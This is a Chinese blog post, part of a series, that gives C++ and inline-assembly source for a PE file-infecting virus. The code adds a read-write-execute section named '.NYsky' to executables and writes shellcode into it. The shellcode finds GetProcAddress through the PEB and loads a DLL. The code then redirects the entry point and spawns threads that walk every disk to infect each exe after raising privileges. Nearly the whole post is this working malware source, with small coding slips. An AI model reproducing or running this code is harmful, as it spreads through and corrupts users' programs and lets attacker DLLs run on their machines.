PE型感染病毒 —— 增加节点修改PE入口 (3)

这套源码并非原创,而是参考llydd大佬的文章,通过在PE文件中增加新节点,并在新节中增入SHELL CODE来加载指定DLL从而实现XX....


原文地址:http://bbs.pediy.com/showthread.php?t=36497

 

所以可以根据遍历PE文件节点来判断是还被感染过,下面是自己根据自己的工程需要,适当修改了其中一小部分代码:


1、判断PE文件是否被感染过

[cpp] view plain copy print ?
  1. /************************************************************************/  
  2. /* 函数说明:判断文件是否被感染 
  3. /* 参    数:strFile   文件路径 
  4. /* 返 回 值:成功返回TRUE,失败返回FALSE 
  5. /* By:Koma   2009.12.14 22:35 
  6. /************************************************************************/   
  7. BOOL IsInfect(CString strFile)  
  8. {  
  9.     HANDLE  hFile;                              // 保存文件句柄  
  10.     HANDLE  hMapping;                           // 内存文件映射句柄  
  11.     void*   pBasePointer;                       // PE入口点  
  12.     int     dwSestion;                          // 节结数  
  13.     int     i;                                  // 临时循环变量  
  14.     BOOL    bRet = FALSE;                       // 返回值  
  15.       
  16.     IMAGE_DOS_HEADER *imDos_Headers;            // 定义DOS头  
  17.     IMAGE_NT_HEADERS *imNT_Headers;             // 定义PE头  
  18.     IMAGE_SECTION_HEADER *imSECTION_Headers;    // 定义SECTION表头  
  19.       
  20.     // 打开文件  
  21.     hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,   
  22.         FILE_ATTRIBUTE_NORMAL,0);  
  23.     if (hFile==INVALID_HANDLE_VALUE){  
  24.         GetLastError();   
  25.         return FALSE;   
  26.     }   
  27.       
  28.     // 创建内存映射文件  
  29.     if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){  
  30.         CloseHandle(hFile);  
  31.         CloseHandle(hMapping);  
  32.         return FALSE;  
  33.     }  
  34.     if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){                                   
  35.         CloseHandle(hFile);  
  36.         CloseHandle(hMapping);  
  37.         return FALSE;  
  38.     }  
  39.       
  40.     // 设置初始指针地址  
  41.     imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer;   
  42.     if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){  
  43.         CloseHandle(hFile);  
  44.         CloseHandle(hMapping);  
  45.         return FALSE;  
  46.     }  
  47.       
  48.     // NT头指针地址  
  49.     imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);  
  50.       
  51.     // 读取节表名  
  52.     CString strTemp = "";  
  53.     CString strSectionName;  
  54.     for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++)  
  55.     {  
  56.         strTemp.Format("第%d节:%s/n",i+1,imSECTION_Headers->Name);  
  57.         strSectionName = strSectionName + strTemp;  
  58.         dwSestion = i;  
  59.     }  
  60.       
  61.     // 查找节点是否存在  
  62.     // MessageBox(strSectionName);  
  63.     if(strSectionName.Find(".data")>0){  
  64.         bRet = TRUE;  
  65.     }  
  66.       
  67.     // 关闭句柄、释放文件  
  68.     CloseHandle(hFile);  
  69.     CloseHandle(hMapping);  
  70.     return bRet;  
  71. }  
 

 

2、感染指定的PE文件

[cpp] view plain copy print ?
  1. /************************************************************************/  
  2. /* 函数说明:感染exe文件 
  3. /* 参    数:strFile   文件路径 
  4. /* 返 回 值:成功返回TRUE,失败返回FALSE 
  5. /* By:Koma   2009.12.15 21:48 
  6. /************************************************************************/  
  7. BOOL InfectPE(CString strFilePath)  
  8. {  
  9.     FILE*                   rwFile;                     // 被感染的文件  
  10.     IMAGE_SECTION_HEADER    NewSection;                 // 定义要添加的区块  
  11.     IMAGE_NT_HEADERS        NThea;                      //   
  12.     DWORD                   pNT;                        // pNT中存放IMAGE_NT_HEADERS结构的地址  
  13.     int                     nOldSectionNo;  
  14.     int                     OEP;  
  15.       
  16.     if((rwFile=fopen(strFilePath,"rb"))==NULL){         // 打开文件失败则返回  
  17.         return FALSE;  
  18.     }  
  19.       
  20.     if(!CheckPE(rwFile)){                               // 如果不是PE文件则返回  
  21.         return FALSE;  
  22.     }  
  23.       
  24.     fseek(rwFile,0x3c,0);  
  25.     fread(&pNT,sizeof(DWORD),1,rwFile);  
  26.     fseek(rwFile,pNT,0);  
  27.     fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile);    // 读取原文件的IMAGE_NT_HEADERS结构  
  28.     nOldSectionNo=NThea.FileHeader.NumberOfSections;    // 保存原文件区块数量  
  29.     OEP=NThea.OptionalHeader.AddressOfEntryPoint;       // 保存原文件区块OEP  
  30.     IMAGE_SECTION_HEADER    SEChea;                     // 定义一个区块存放原文件最后一个区块的信息  
  31.     int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;  
  32.     int FILE_ALIG=NThea.OptionalHeader.FileAlignment;   // 保存文件对齐值与区块对齐值  
  33.     memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));  
  34.     fseek(rwFile,pNT+248,0);                            // 读原文件最后一个区块的信息  
  35.     for(int i=0;i<nOldSectionNo;i++)  
  36.         fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);  
  37.       
  38.     FILE    *newfile = fopen(strFilePath,"rb+");  
  39.     if(newfile==NULL){  
  40.         return FALSE;  
  41.     }  
  42.     fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);  
  43.     goto shellend;  
  44.     __asm  
  45.     {      
  46. shell:  PUSHAD  
  47.             MOV  EAX,DWORD PTR FS:[30H]     ;FS:[30H]指向PEB  
  48.             MOV  EAX,DWORD PTR [EAX+0CH]    ;获取PEB_LDR_DATA结构的指针  
  49.             MOV  EAX,DWORD PTR [EAX+1CH]    ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针  
  50.             MOV  EAX,DWORD PTR [EAX]        ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针  
  51.             MOV  EAX,DWORD PTR [EAX+08H]    ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址  
  52.             MOV  EBP,EAX                    ;将Kernel32.dll模块基址地址放至kernel中  
  53.             MOV  EAX,DWORD PTR [EAX+3CH]    ;指向IMAGE_NT_HEADERS  
  54.             MOV  EAX,DWORD PTR [EBP+EAX+120];指向导出表  
  55.             MOV  ECX,[EBP+EAX+24]           ;取导出表中导出函数名字的数目  
  56.             MOV  EBX,[EBP+EAX+32]           ;取导出表中名字表的地址  
  57.             ADD  EBX,EBP  
  58.             PUSH WORD  PTR 0X00             ;构造GetProcAddress字符串  
  59.             PUSH DWORD PTR 0X73736572  
  60.             PUSH DWORD PTR 0X64644163  
  61.             PUSH DWORD PTR 0X6F725074  
  62.             PUSH WORD PTR 0X6547  
  63.             MOV  EDX,ESP  
  64.             PUSH ECX  
  65.               
  66. F1:    
  67.         MOV  EDI,EDX  
  68.             POP  ECX  
  69.             DEC  ECX  
  70.             TEST  ECX,ECX  
  71.             JZ  EXIT  
  72.             MOV  ESI,[EBX+ECX*4]      
  73.             ADD  ESI,EBP  
  74.             PUSH  ECX  
  75.             MOV  ECX,15  
  76.             REPZ  CMPSB  
  77.             TEST  ECX,ECX  
  78.             JNZ  F1  
  79.               
  80.             POP  ECX  
  81.             MOV  ESI,[EBP+EAX+36]           ;取得导出表中序号表的地址  
  82.             ADD  ESI,EBP  
  83.             MOVZX  ESI,WORD PTR[ESI+ECX*2]  ;取得进入函数地址表的序号  
  84.             MOV  EDI,[EBP+EAX+28]           ;取得函数地址表的地址  
  85.             ADD  EDI,EBP  
  86.             MOV  EDI,[EDI+ESI*4]            ;取得GetProcAddress函数的地址  
  87.             ADD  EDI,EBP        
  88.               
  89.             PUSH WORD PTR 0X00              ;构造LoadLibraryA字符串  
  90.             PUSH DWORD PTR 0X41797261  
  91.             PUSH DWORD PTR 0X7262694C  
  92.             PUSH DWORD PTR 0X64616F4C  
  93.             PUSH ESP  
  94.             PUSH  EBP  
  95.             CALL  EDI                       ;调用GetProcAddress取得LoadLibraryA函数的地址  
  96.             PUSH  WORD PTR 0X00             ;添加参数“test”符串  
  97.             PUSH  DWORD PTR 0X74736574  
  98.             PUSH  ESP  
  99.             CALL  EAX  
  100. EXIT:  ADD ESP,36                           ;平衡堆栈  
  101.        POPAD  
  102.     }  
  103. shellend:  
  104.     char*   pShell;  
  105.     int     nShellLen;  
  106.     BYTE    jmp = 0xE9;  
  107.     __asm  
  108.     {  
  109.         LEA EAX,shell  
  110.         MOV pShell,EAX;  
  111.         LEA EBX,shellend  
  112.         SUB EBX,EAX  
  113.         MOV nShellLen,EBX  
  114.     }  
  115.           
  116.     // 写入SHELLCODE,  
  117.     for(i=0;i<nShellLen;i++)  
  118.         fputc(pShell[i],newfile);  
  119.           
  120.     // SHELLCODE之后是跳转到原OEP的指令  
  121.     NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);  
  122.     OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;  
  123.     fwrite(&jmp, sizeof(jmp), 1, newfile);  
  124.     fwrite(&OEP, sizeof(OEP), 1, newfile);  
  125.           
  126.     // 将最后增加的数据用0填充至按文件中对齐的大小  
  127.     for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)  
  128.         fputc('/0',newfile);  
  129.           
  130.     // 新区块中的数据  
  131.     strcpy((char*)NewSection.Name,".NYsky");  
  132.     NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;  
  133.     NewSection.Misc.VirtualSize=nShellLen;  
  134.     NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);  
  135.     NewSection.Characteristics=0xE0000020;  
  136.           
  137.     // 新区块可读可写可执行、写入新的块表  
  138.     fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);  
  139.     fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);  
  140.       
  141.     int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);  
  142.     int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);  
  143.     fseek(newfile,pNT,0);  
  144.     NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;  
  145.     NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;  
  146.     NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;  
  147.     NThea.OptionalHeader.SizeOfImage=nNewImageSize;  
  148.     NThea.FileHeader.NumberOfSections=nOldSectionNo+1;  
  149.     NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;  
  150.           
  151.     // 写入更新后的PE头结构  
  152.     fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);  
  153.     fclose(newfile);  
  154.     fclose(rwFile);  
  155.     return TRUE;  
  156. }  

 

3、线程参数类定义

[cpp] view plain copy print ?
  1. /////////////////////////////////////////////////////////////////////////////  
  2. // DiskInfo class  
  3. // 采用多线程感染每一个磁盘驱动器  
  4. //  
  5. class  DiskInfo  
  6. {  
  7. public:  
  8.     CString m_strName;                  // 磁盘名称,例如C:  
  9.     CString m_strFilePath;              // 感染文件的绝对路径  
  10.     BOOL    m_bCurFileIsInject;         // 判断该文件是否被感染过  
  11.     DiskInfo();                         // 构造函数,用来初始化成员变量  
  12. };  
  13. /////////////////////////////////////////////////////////////////////////////  
  14. // DiskInfo 构造函数  
  15. // 初始化成员变量  
  16. //  
  17. DiskInfo::DiskInfo()  
  18. {  
  19.     m_strFilePath = _T("");  
  20.     m_strName     = _T("");  
  21. }  

 

4、线程函数

[cpp] view plain copy print ?
  1. /************************************************************************/  
  2. /* 函数说明:线程 —— 感染指定exe文件 
  3. /* 参    数:驱动器名称,如C: 
  4. /* 返 回 值:遍历的数目 
  5. /* By:Koma   2009.12.17 14:05 
  6. /************************************************************************/  
  7. DWORD ThreadInject(LPVOID lpParameter)  
  8. {  
  9.     DiskInfo *diParam = (DiskInfo *)lpParameter;  
  10.     BOOL     bRet = InfectPE(diParam->m_strFilePath);  
  11.     if(bRet)  
  12.         return 0;  
  13.     return -1;  
  14. }  
  15. /************************************************************************/  
  16. /* 函数说明:线程 —— 遍历驱动器exe文件 
  17. /* 参    数:驱动器名称,如C: 
  18. /* 返 回 值:遍历的数目 
  19. /* By:Koma   2009.12.17 14:05 
  20. /************************************************************************/  
  21. DWORD ThreadDisk(LPVOID lpParameter)  
  22. {  
  23.     DiskInfo *diParam = (DiskInfo *)lpParameter;  
  24.     BOOL     bRet = EmuDiskFiles(diParam->m_strName);  
  25.     if(bRet)  
  26.         return 0;  
  27.     return -1;  
  28. }  
  29. /************************************************************************/  
  30. /* 函数说明:WinMain —— 程序入口函数 
  31. /* 参    数:参见MSDN 
  32. /* 返 回 值:退出代码 
  33. /* By:Koma   2009.12.18 22:32 
  34. /************************************************************************/  
  35. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )  
  36. {  
  37.     RaiseToDebug();                             // 提升权限  
  38.     EmuAllDisk();                               // 依次启动遍历磁盘线程、遍历文件  
  39.     return 0;  

你可能感兴趣的:(PE型感染病毒 —— 增加节点修改PE入口 (3))